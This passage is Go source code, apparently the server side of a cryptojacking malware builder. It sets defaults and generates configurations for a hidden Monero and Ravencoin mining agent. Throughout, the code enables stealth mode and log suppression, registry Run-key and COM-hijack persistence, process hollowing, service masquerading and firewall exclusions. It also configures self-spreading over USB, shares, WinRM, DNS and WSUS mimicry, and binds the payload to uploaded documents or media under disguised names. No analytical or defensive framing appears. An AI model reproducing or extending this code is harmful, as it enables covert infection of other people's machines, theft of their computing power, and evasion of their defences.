"silent" } else { req.DisplayMode = "background" } } if req.Persistence { req.AutoStart = true } req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode)) req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence)) normalizeRegistryPersistence(req) if req.ProcessName == "" { req.ProcessName = sanitizeFileName(req.WorkerName) } if req.MaxMemoryPct <= 0 { req.MaxMemoryPct = 85 } if req.CPUPriority == "" { req.CPUPriority = "below_normal" } if req.MiningMode == "" { req.MiningMode = "always" } if req.MinerExecution == "" { req.MinerExecution = "inprocess" } if req.RunAs == "" { req.RunAs = "user" } if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" { req.HostBinaryTarget = "ssh" } if req.MaxCPUUsagePct <= 0 { req.MaxCPUUsagePct = 95 } if req.MinFreeRAMMB <= 0 { req.MinFreeRAMMB = 512 } if req.IdleThresholdPct <= 0 { req.IdleThresholdPct = 20 } if req.IdleDurationMinutes <= 0 { req.IdleDurationMinutes = 5 } if req.ScheduleStart == "" { req.ScheduleStart = "21:00" } if req.ScheduleEnd == "" { req.ScheduleEnd = "06:00" } if req.InstallBase == "" { req.InstallBase = "localappdata" } if req.InstallRelativePath == "" { req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}" } if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" { return fmt.Errorf("install_custom_base is required when install_base is custom") } if req.StealthMode { req.FileLogging = false if req.DisplayMode == "" || req.DisplayMode == "visible" { req.DisplayMode = "background" } } if req.PoolHost == "" { req.PoolHost = "pool.supportxmr.com" } if req.PoolPort <= 0 { req.PoolPort = 3333 } if req.PoolPass == "" { req.PoolPass = "x" } if req.ApkMode { req.FusionEnabled = false req.SpreadKit = false } if req.FusionEnabled { if req.FusionRunOrder == "" { req.FusionRunOrder = "parallel" } if req.FusionOutputName == "" || req.FusionOutputName == "prep.exe" { if base := strings.TrimSpace(req.FusionMediaBaseName); base != "" { req.FusionOutputName = disguisedRunnerName(base) } else if req.FusionOutputName == "" { req.FusionOutputName = "prep.exe" } } if req.FusionMediaMode == "" { req.FusionMediaMode = "paired" } req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode) if req.DisplayMode == "" || req.DisplayMode == "visible" { req.DisplayMode = "background" } } if req.AIEnabled { if req.AIOllamaEndpoint == "" { req.AIOllamaEndpoint = "http://localhost:11434" } if req.AIModel == "" { req.AIModel = "llama3.2" } } if strings.TrimSpace(req.TargetOS) == "" { if req.ApkMode { req.TargetOS = "android" } else { req.TargetOS = "windows" } } if req.SpreadKit { req.FusionEnabled = false req.TargetOS = "universal" if req.RunAs == "" || req.RunAs == "user" { req.RunAs = "scheduled" } req.Persistence = true req.AutoStart = true } if req.LotlOnionEnabled { ApplyLotlOnionPreset(req) } req.LinuxLOTLMode = normalizeLinuxLOTLMode(req.LinuxLOTLMode) return nil } func normalizeLinuxLOTLMode(mode string) string { switch strings.ToLower(strings.TrimSpace(mode)) { case "systemd_run_user", "crontab", "both": return strings.ToLower(strings.TrimSpace(mode)) default: return "off" } } func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) { if header == nil { return "", nil, fmt.Errorf("fusion upload is missing") } if header.Size > FusionMaxUploadBytes { return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes)) } if header.Size < 0 { return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file") } baseName := filepath.Base(header.Filename) if baseName == "" || baseName == "." { return "", nil, fmt.Errorf("fusion upload filename is invalid") } if !isFusionPayloadExt(baseName) { return "", nil, fmt.Errorf("fusion upload has no recognisable file extension") } prepRoot := filepath.Join(h.dataDir, "preps") if err := os.MkdirAll(prepRoot, 0755); err != nil { return "", nil, fmt.Errorf("failed to create preps directory: %w", err) } dir, err := os.MkdirTemp(prepRoot, "upload-*") if err != nil { return "", nil, err } dest := filepath.Join(dir, sanitizeFileName(baseName)) out, err := os.Create(dest) if err != nil { os.RemoveAll(dir) return "", nil, err } written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1)) out.Close() if err != nil { os.RemoveAll(dir) return "", nil, err } if written == 0 { os.RemoveAll(dir) return "", nil, fmt.Errorf("fusion upload is empty") } if written > FusionMaxUploadBytes { os.RemoveAll(dir) return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes)) } cleanup := func() { _ = os.RemoveAll(dir) } return dest, cleanup, nil } // isFusionPayloadExt accepts any file with a non-empty extension. // Fusion now supports any file type — PDF, video, document, image, executable, etc. func isFusionPayloadExt(name string) bool { ext := strings.ToLower(filepath.Ext(name)) return ext != "" && ext != "." } func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string { return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT // Build ID: %s // Generated at: %s package config import "time" func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: %q, ServerURL: %q, Wallet: %q, Threads: %d, ThreadMode: %q, ThreadPercent: %d, CPUPriority: %q, MiningMode: %q, MinerExecution: %q, DisplayMode: %q, SilentMode: %v, RunAs: %q, HostBinaryTarget: %q, AutoStart: %v, AutostartMode: %q, RegistryPersistence: %q, RegistryRunHKCU: %v, RegistryRunHKLM: %v, RegistryRunOnce: %v, RegistryExplorerRun: %v, ProcessName: %q, BuildID: %q, BuiltAt: time.Unix(%d, 0), PoolHost: %q, PoolPort: %d, PoolTLS: %v, PoolPass: %q, MaxCPUUsage: %d, MaxMemoryPct: %d, MinFreeRAM: %d, IdleThresholdPct: %d, IdleDurationMinutes: %d, ScheduleStart: %q, ScheduleEnd: %q, InstallBase: %q, InstallCustomBase: %q, InstallRelativePath: %q, AdaptToHardware: %v, SelfHealing: %v, FileLogging: %v, StealthMode: %v, FirewallExclusion: %v, AIEnabled: %v, AIOllamaEndpoint: %q, AIModel: %q, ProcessHollowing: %v, MeshP2P: %v, AutoSpread: %v, HolePunch: %v, RemoteAggressive: %v, USBSpread: %v, ShareSpread: %v, WinRMSpread: %v, DnsTxtSpread: %v, WebRTCMeshSpread: %v, WSUSCachePeerSpread: %v, WSUSFormatMimic: %v, COMHijackPersist: %v, LinuxLOTLMode: %q, BackupServerURLs: %s, BackupPools: %s, ServiceMasquerade: %v, ServiceName: %q, ServiceDonor: %q, FleetSecret: %q, // GPU / Ravencoin mining GPUEnabled: %v, RVNWallet: %q, RVNPoolHost: %q, RVNPoolPort: %d, RVNPoolTLS: %v, RVNPoolPass: %q, RVNBackupPools: %s, BeaconIntervalSec: %d, BeaconJitterPct: %d, AgentKillAfterDays: %d, HTTPSBeaconFallback: %v, HTTPSBeaconAfterMin: %d, LotlOnionEnabled: %v, LotlPolicyFromServer: %v, LotlOnionTiers: %s, ParentAgentID: %q, SpreadGeneration: %d, SpreadStrain: %q, BakedJoinLane: %q, ApkMode: %v, ScoutMode: %v, MiningDisabled: %v, FleetRole: %q, SeederMode: %v, } } `, buildID, time.Now().UTC().Format(time.RFC3339), req.WorkerName, req.ServerURL, req.Wallet, req.Threads, req.ThreadMode, req.ThreadPercent, req.CPUPriority, req.MiningMode, req.MinerExecution, req.DisplayMode, req.SilentMode, req.RunAs, req.HostBinaryTarget, req.AutoStart, strings.TrimSpace(req.AutostartMode), strings.TrimSpace(req.RegistryPersistence), req.RegistryRunHKCU, req.RegistryRunHKLM, req.RegistryRunOnce, req.RegistryExplorerRun, req.ProcessName, buildID, time.Now().Unix(), req.PoolHost, req.PoolPort, req.PoolTLS, req.PoolPass, req.MaxCPUUsagePct, req.MaxMemoryPct, req.MinFreeRAMMB, req.IdleThresholdPct, req.IdleDurationMinutes, req.ScheduleStart, req.ScheduleEnd, req.InstallBase, req.InstallCustomBase, req.InstallRelativePath, req.AdaptToHardware, req.SelfHealing, req.FileLogging, req.StealthMode, req.FirewallExclusion, req.AIEnabled, req.AIOllamaEndpoint, req.AIModel, req.ProcessHollowing, req.MeshP2P, req.AutoSpread, req.HolePunch, req.RemoteAggressive, req.USBSpread, req.ShareSpread, req.WinRMSpread, req.DnsTxtSpread, req.WebRTCMeshSpread, req.WSUSCachePeerSpread, req.WSUSFormatMimic, req.COMHijackPersist, req.LinuxLOTLMode, formatGoStringSlice(req.BackupServerURLs), formatGoBackupPools(req.BackupPools), serviceMasqueradeEnabled(req), serviceMasqueradeName(buildID, req), serviceMasqueradeDonor(buildID, req), h.fleetSecret, req.GPUEnabled, req.RVNWallet, rvnPoolHost(req), rvnPoolPort(req), req.RVNPoolTLS, rvnPoolPass(req), formatGoBackupPools(req.RVNBackupPools), req.BeaconIntervalSec, req.BeaconJitterPct, req.AgentKillAfterDays, httpsBeaconFallbackEnabled(req), httpsBeaconAfterMin(req), req.LotlOnionEnabled, req.LotlPolicyFromServer, formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)), strings.TrimSpace(req.ParentAgentID), req.SpreadGeneration, spreadStrainFromJoinLane(req.JoinLane), strings.TrimSpace(req.JoinLane), req.ApkMode, req.ScoutMode, req.MiningDisabled, normalizeForgeFleetRole(req), req.SeederMode || normalizeForgeFleetRole(req) == "seeder", ) } func normalizeForgeFleetRole(req *BuildRequest) string { role := strings.ToLower(strings.TrimSpace(req.FleetRole)) switch role { case "seeder", "miner", "auto": return role default: return "auto" } } func httpsBeaconFallbackEnabled(req *BuildRequest) bool { if req.HTTPSBeaconFallback { return true } for _, u := range req.BackupServerURLs { if strings.TrimSpace(u) != "" { return true } } return false } func httpsBeaconAfterMin(req *BuildRequest) int { if req.HTTPSBeaconAfterMin > 0 { return req.HTTPSBeaconAfterMin } return 3 } func rvnPoolHost(req *BuildRequest) string { if req.RVNPoolHost == "" { return "rvn.2miners.com" } return req.RVNPoolHost } func rvnPoolPort(req *BuildRequest) int { if req.RVNPoolPort <= 0 { return 6060 } return req.RVNPoolPort } func rvnPoolPass(req *BuildRequest) string { if req.RVNPoolPass == "" { return "x" } return req.RVNPoolPass } // formatGoBackupPools emits a Go literal for []config.BackupPool. func formatGoBackupPools(pools []BackupPool) string { if len(pools) == 0 { return "nil" } var sb strings.Builder sb.WriteString("[]BackupPool{") for i, p := range pools { if i > 0 { sb.WriteString(", ") } pass := p.Pass if pass == "" { pass = "x" } fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass) } sb.WriteString("}") return sb.String() } func serviceMasqueradeEnabled(req *BuildRequest) bool { return req.RunAs == "service" || req.ProcessHollowing } func serviceMasqueradeName(buildID string, req *BuildRequest) string { if !serviceMasqueradeEnabled(req) { return "" } name, _ := pickServiceMasquerade(buildID) return name } func serviceMasqueradeDonor(buildID string, req *BuildRequest) string { if !serviceMasqueradeEnabled(req) { return "" } _, donor := pickServiceMasquerade(buildID) return donor } func (h *Handler) copyAgentSource(destDir string) error { srcDir := h.agentSrcDir return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error { if err != nil { return err } relPath, err := filepath.Rel(srcDir, path) if err != nil { return err } if relPath == "config"+string(os.PathSeparator)+"builtin.go" { return nil } destPath := filepath.Join(destDir, relPath) if info.IsDir() { return os.MkdirAll(destPath, 0755) } if info.Mode()&os.ModeSymlink != 0 { return nil } ext := filepath.Ext(path) base := filepath.Base(path) if ext != ".go" && base != "go.mod" && base != "go.sum" { return nil } return copyFile(path, destPath) }) } func copyFile(src, dest string) error { in, err := os.Open(src) if err != nil { return err } defer in.Close() if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil { return err } out, err := os.Create(dest) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) return err } func looksLikeXMRWallet(addr string) bool { a := strings.TrimSpace(addr) if len(a) < 90 || len(a) > 106 { return false } if a[0] != '4' { return false } for i := 1; i < len(a); i++ { c := a[i] if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') { continue } return false } return true } func formatGoStringSlice(values []string) string { if len(values) == 0 { return "nil" } parts := make([]string, 0, len(values)) for _, v := range values { v = strings.TrimSpace(v) if v != "" { parts = append(parts, fmt.Sprintf("%q", v)) } } if len(parts) == 0 { return "nil" } return "[]string{" + strings.Join(parts, ", ") + "}" } func sanitizeFileName(name string) string { replacer := strings.NewReplacer( " ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "", ) return replacer.Replace(name) } // safePathUnderRoot resolves name under root and rejects traversal escapes. func safePathUnderRoot(root, name string) (string, error) { if name == "" || strings.Contains(name, "..") { return "", fmt.Errorf("invalid path") } cleanName := filepath.Clean(name) if filepath.IsAbs(cleanName) { return "", fmt.Errorf("invalid path") } absRoot, err := filepath.Abs(root) if err != nil { return "", err } full := filepath.Join(absRoot, cleanName) absFull, err := filepath.Abs(full) if err != nil { return "", err } if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) { return "", fmt.Errorf("path escapes root") } return absFull, nil } func writeJSON(w http.ResponseWriter, status int, v interface{}) { w.Header().Set("Content-Type", "application/json") w.WriteHeader(status) json.NewEncoder(w).Encode(v) }